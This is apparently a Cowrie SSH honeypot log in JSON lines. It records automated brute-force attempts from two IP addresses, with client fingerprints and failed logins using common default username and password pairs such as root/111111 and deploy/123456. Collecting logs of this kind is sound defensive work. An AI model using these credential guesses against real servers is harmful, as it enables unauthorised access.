{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:23.340386Z","src_ip":"192.109.200.78","session":"4efc74aacfbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:24.424394Z","src_ip":"192.109.200.78","session":"4efc74aacfbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34810,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4128199b3e1","protocol":"ssh","message":"New connection: 176.65.139.95:34810 (159.203.135.109:22) [session: d4128199b3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:24.654001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:24.666433Z","src_ip":"176.65.139.95","session":"d4128199b3e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:24.740486Z","src_ip":"176.65.139.95","session":"d4128199b3e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:25.574607Z","src_ip":"176.65.139.95","session":"d4128199b3e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:26.661215Z","src_ip":"176.65.139.95","session":"d4128199b3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33604,"dst_ip":"159.203.135.109","dst_port":22,"session":"04b5323d39ed","protocol":"ssh","message":"New connection: 192.109.200.78:33604 (159.203.135.109:22) [session: 04b5323d39ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:27.114927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:27.119207Z","src_ip":"192.109.200.78","session":"04b5323d39ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:27.201689Z","src_ip":"192.109.200.78","session":"04b5323d39ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:27.447803Z","src_ip":"192.109.200.78","session":"04b5323d39ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:28.596568Z","src_ip":"192.109.200.78","session":"04b5323d39ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54200,"dst_ip":"159.203.135.109","dst_port":22,"session":"c48301493e21","protocol":"ssh","message":"New connection: 192.109.200.78:54200 (159.203.135.109:22) [session: c48301493e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:31.163657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:31.305183Z","src_ip":"192.109.200.78","session":"c48301493e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59414,"dst_ip":"159.203.135.109","dst_port":22,"session":"34104ba85d26","protocol":"ssh","message":"New connection: 176.65.139.95:59414 (159.203.135.109:22) [session: 34104ba85d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:31.546607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:31.555254Z","src_ip":"176.65.139.95","session":"34104ba85d26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:31.618037Z","src_ip":"192.109.200.78","session":"c48301493e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:31.658046Z","src_ip":"176.65.139.95","session":"34104ba85d26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:31.865706Z","src_ip":"192.109.200.78","session":"c48301493e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:32.097562Z","src_ip":"176.65.139.95","session":"34104ba85d26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:32.951569Z","src_ip":"192.109.200.78","session":"c48301493e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:33.194193Z","src_ip":"176.65.139.95","session":"34104ba85d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54206,"dst_ip":"159.203.135.109","dst_port":22,"session":"a54dad1ccb82","protocol":"ssh","message":"New connection: 192.109.200.78:54206 (159.203.135.109:22) [session: a54dad1ccb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:35.283939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:35.288731Z","src_ip":"192.109.200.78","session":"a54dad1ccb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:35.374215Z","src_ip":"192.109.200.78","session":"a54dad1ccb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:35.618549Z","src_ip":"192.109.200.78","session":"a54dad1ccb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:36.704421Z","src_ip":"192.109.200.78","session":"a54dad1ccb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59424,"dst_ip":"159.203.135.109","dst_port":22,"session":"6afad65ce956","protocol":"ssh","message":"New connection: 176.65.139.95:59424 (159.203.135.109:22) [session: 6afad65ce956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:38.220558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:38.225838Z","src_ip":"176.65.139.95","session":"6afad65ce956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:38.303380Z","src_ip":"176.65.139.95","session":"6afad65ce956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:38.645007Z","src_ip":"176.65.139.95","session":"6afad65ce956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36508,"dst_ip":"159.203.135.109","dst_port":22,"session":"982a8f3d570c","protocol":"ssh","message":"New connection: 192.109.200.78:36508 (159.203.135.109:22) [session: 982a8f3d570c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:39.154128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:39.158656Z","src_ip":"192.109.200.78","session":"982a8f3d570c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:39.241729Z","src_ip":"192.109.200.78","session":"982a8f3d570c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:39.686450Z","src_ip":"192.109.200.78","session":"982a8f3d570c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:39.739667Z","src_ip":"176.65.139.95","session":"6afad65ce956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:40.782196Z","src_ip":"192.109.200.78","session":"982a8f3d570c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36532,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e15b9a7b261","protocol":"ssh","message":"New connection: 192.109.200.78:36532 (159.203.135.109:22) [session: 5e15b9a7b261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:43.465760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:43.470436Z","src_ip":"192.109.200.78","session":"5e15b9a7b261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:43.552500Z","src_ip":"192.109.200.78","session":"5e15b9a7b261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:43.802982Z","src_ip":"192.109.200.78","session":"5e15b9a7b261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44052,"dst_ip":"159.203.135.109","dst_port":22,"session":"76b2cc5a6c62","protocol":"ssh","message":"New connection: 176.65.139.95:44052 (159.203.135.109:22) [session: 76b2cc5a6c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:44.776303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:08:44.781006Z","src_ip":"176.65.139.95","session":"76b2cc5a6c62","protocol":"ssh"}
